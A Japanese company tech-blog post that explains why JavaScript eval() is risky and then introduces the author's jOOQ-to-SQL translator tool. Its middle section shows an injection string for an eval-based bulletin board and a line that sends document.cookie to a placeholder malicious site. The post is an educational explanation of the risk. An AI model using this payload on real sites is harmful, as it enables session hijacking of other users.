これは株式会社POL テックカレンダー 2021 18日目の記事です。
株式会社POLでサーバサイドエンジニアをやっております岩井です。
3日目と同様に、「そんなに難しい話でもないのにネットであんまり書かれていないのでは?」というちょっとした話と、ちょっとしたツールを作ったので紹介させてください。
# eval()
Javascriptには「eval」という関数があります(他の言語にもありますが)。これは、引数として与えた文字列をJavascriptのコードとして解釈し、実行するというものです。
かつてはJSON形式のデータを読み込む時に使用されたりもしましたが、現在はその場合はJSON.parse()を使用することが推奨されます。
また、evalは遅いためwindow.Function()を代替することが推奨されています。
と、あえて触れずに3行ほど書きましたが、evalには「悪意を持った第三者のコードが実行される恐れがある」という脆弱性があるため使用を禁止されています。
簡単に検索して出てくるページでは、「どのようにして悪意を持った第三者のコードが悪事を働くのか」までは説明しておらず、「何が悪いの?」「悪いことできなくない?」と、思いながらも封印している方がいると思います。
たとえばSQLインジェクションの説明の場合、「どのような実装」に対して「どのような入力」で起こるものなのかが書かれていることが多いと思います。そういう感じのことをまず書きます。
悪くないeval
今ここにテキストエリアとボタンがあって「ボタンを押すとテキストエリアに入力された文字列に対してeval()する」というページがあったと仮定して、何か悪いことができるでしょうか?
eval(document.getElementById('inputData').value);
何もできませんよね?あなたの画面上であなたが書いたスクリプトが実行されるだけなので、私や他の第三者を攻撃することはできないはずです。
このような使い方は安全です。(ただし、前述のとおり「遅い」ので「window.Function()」を使うべきですが)
こんな無力なシチュエーションもあるのに、存在そのものが悪であるかのように言われてかわいそうですね。
悪いeval
ものすごく簡易的なWeb掲示板があるとします。
書き込み画面ではユーザが本文を入力して送信ボタンを押すとそれが記録されます。
閲覧画面では表示データ取得APIがこのようなJSON形式で画面に返し
[
{"id":2, "message":"はじめまして"},
{"id":1, "message":"こんにちは"}
]
画面側はそれを受け取ってevalで変数に格納するとします。
fetch('/displayAPI').then(function(response) {
response.text().then(function(text) {
eval("var data = " + request.response);
//以下に表示処理
});
});
このような感じで、変数data
にレスポンスを格納し、表示などの処理を行うとします。
このとき、id=3のメッセージとして "}]; alert(); var p = [{"a":"
という文字列が与えられたらどうなるでしょうか。
APIのレスポンスのJSONはこうなります
[
{"id":3, "message":""}]; alert(); var a = [{"a":""},
{"id":2, "message":"はじめまして"},
{"id":1, "message":"こんにちは"}
]
evalの結果
- dataという変数にはid=3, message='' のデータ1件だけが入り
- アラートが表示され
- aという変数にid=1,id=2のメッセージが格納されることになります。
この alert()
の部分は任意の処理に変更が可能です。また、他のユーザの画面でも表示される可能性があります。つまり、悪意のあるユーザが書いたスクリプトが第三者の画面で実行される恐れがあるわけです。
もっと悪いeval
この掲示板が、「ログイン機能があるサイト」の一部であるとします。
ログインユーザの情報を使って書き込みに自動で名前を付加する機能があると便利ですよね。
では、先ほどのalert()
の部分が以下のようになっている書き込みで攻撃されたらどうなるでしょうか。
fetch('http://悪意のあるサイト/?'+encodeURI(document.cookie));
クッキーが悪意のあるサイトに送られることになります。
これがどういうことかというと、ログインユーザのセッションIDがクッキーに保存されている場合、ログイン状態が乗っ取られる恐れがあるということです。
(fetchの結果は「CORS error」になると思いますが、GETリクエストでクッキーを送ることには成功します)
ここまで具体的に書けば「脆弱性があるのでevalを使うのはやめましょう」と言っても納得してもらいやすいと思います。
この例はevalだけが悪いわけではありませんし、禁止文字の指定や記号の置換などでこのような攻撃は防げるので、もっと全体的な問題であるとも言えますが。
でもユーザの入力をスクリプトとして処理したいんです!!
# 作ったツール
https://waiiwai.github.io/jooqTranslator/
POLが提供しているLabBaseのバックエンドでは、ORマッパーとしてjOOQを採用しています(新しく作っている部分ではMyBatisを使っていたりもします(私がMyBatisでやりたいと言ったため))。
クエリビルダーを使用した実装を見て「このコードで取ってくるデータを今すぐ確認したいな」と思うことってありますよね。
テストでそのコードを実行できる状態になっていればそれで確認する事ができますし、ログにSQLを出力したり、デバッガで止めて確認したり、方法はいろいろあると思います。
でも、その箇所を実行させるのが簡単な状態ではなかったり、微調整のためにSQLをいじったりしたい場合はクエリビルダーのコードから直接変換したいと感じたので、「クエリビルダーのコードをSQLに置換する」ツールを作りました。
※逆は公式が提供してくれています(https://www.jooq.org/translate/)
まだ作りかけで対応できない語が多いのですが、このような感じに変換します
結局のところevalは遅いのでwindow.Function()を使いますが、「ユーザが入力した文字列をJavaScriptのコードとして解釈する」ことで作っています。
作り始めた当初は、括弧などを削除すれば形を整えられるかと思ったのですが、関数と引数の関係性を維持したまま処理した方が都合が良さそうな気がしたのでFunctionに渡す形にしました。
function trans() {
let i = document.getElementById('inputData').value.replaceAll(' ', '').replaceArgs();
let f = '"use strict";return ("".' + i + ')';
let o = Function(f)();
document.getElementById('outputData').value = o;
}
jOOQの公式がこの方向で変換するツールを提供できないのは、おそらく「テーブルの物理名が、変数だけからでは判断できない」という点にあるのではないかと思います。
私はこの点を「自分で使うツールなんだから、テーブルを扱うクラスの変数は物理名のキャメルケースにすること」と限定してしまうことで、「スネークケースに変換すればそれが物理名になるだろう」という見込みが正しくなるように解決しています(ASを使う場合などの対応などは要検討)。
そのため、これを全世界に公開しても「テーブル名の変換が雑なんですけど!?!?!?」と怒られてしまうことでしょう(その辺りの制限事項はREADMEに書いておきます…)(チーム内では使えるようにしたかったので、変数名の命名規則については事前にお願いしました)。
### まとめ
何かを作って提供する上で、作り手が最低限担保すべき品質というものは、場合によって変化するはずで、「悪いeval」の例として挙げたような実装で「誰かが誰かを攻撃できる」「意図せず攻撃を受ける人がいてしまう」ような品質は論外ですが、実装以外の部分で不完全さを補える(運用でカバーするなど)のであれば、100%の完璧を求める必要がない場合もあるのではないかなと思います。
明日は私のPOLのカジュアル面談の時に対応していただいたはじめちゃん(@HHajimeW)さんです。